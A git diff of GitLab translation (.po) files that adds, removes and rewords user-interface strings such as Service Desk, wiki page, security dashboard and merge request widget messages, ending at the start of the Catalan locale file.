-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26983,9 +27673,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26995,9 +27682,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -27034,6 +27718,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -27043,7 +27730,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -27073,9 +27760,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -27130,9 +27823,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27226,6 +27916,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27364,19 +28057,43 @@ msgstr "TehniÄka PodrÅ¡ka"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27478,6 +28195,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27532,7 +28252,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27544,6 +28264,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27565,6 +28288,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27772,9 +28498,15 @@ msgstr[2] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27793,6 +28525,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -28033,6 +28768,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28711,13 +29449,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28732,9 +29470,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28747,7 +29482,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28837,9 +29572,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28855,9 +29587,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28915,9 +29644,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29545,6 +30271,12 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29704,9 +30436,6 @@ msgstr[2] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29779,6 +30508,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29806,6 +30538,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29818,6 +30553,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29881,6 +30619,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29941,6 +30682,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -30013,6 +30757,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -30064,6 +30811,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -30112,6 +30862,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -30139,6 +30895,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30172,9 +30931,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30418,6 +31174,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30556,7 +31315,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30640,6 +31399,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30649,6 +31411,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30661,6 +31426,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30967,9 +31735,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -31066,9 +31831,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31369,6 +32131,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31411,9 +32182,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31441,7 +32209,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31546,6 +32314,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31744,10 +32515,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31882,9 +32653,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31939,6 +32707,12 @@ msgstr ""
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32341,7 +33115,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32350,6 +33124,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32446,6 +33223,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32644,9 +33424,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32698,6 +33475,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32743,7 +33523,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32971,9 +33754,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -33040,7 +33820,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -33049,6 +33844,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33202,9 +34003,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33232,6 +34039,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33241,6 +34051,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33646,15 +34459,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33829,6 +34657,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33928,9 +34759,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -34003,34 +34831,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34042,9 +34885,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34057,9 +34897,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34120,6 +34957,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34276,6 +35116,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34417,6 +35263,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34501,9 +35350,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34540,12 +35386,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34579,7 +35419,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34594,9 +35434,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34780,12 +35617,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34906,6 +35749,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34999,7 +35845,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35107,6 +35953,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35410,6 +36259,15 @@ msgstr ""
msgid "created"
msgstr "kreirano"
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35599,6 +36457,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35770,7 +36631,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35806,13 +36667,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35926,9 +36784,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36079,18 +36934,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36121,9 +36970,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36190,15 +37036,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36481,9 +37318,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36529,6 +37363,12 @@ msgstr "korisniÄko ime"
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/ca_ES/gitlab.po b/locale/ca_ES/gitlab.po
index 243c5678339..4dfe2d0d5f7 100644
--- a/locale/ca_ES/gitlab.po
+++ b/locale/ca_ES/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ca\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:54\n"
+"PO-Revision-Date: 2021-04-02 00:15\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] "%d fitxer modificat"
msgstr[1] "%d fitxers modificats"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
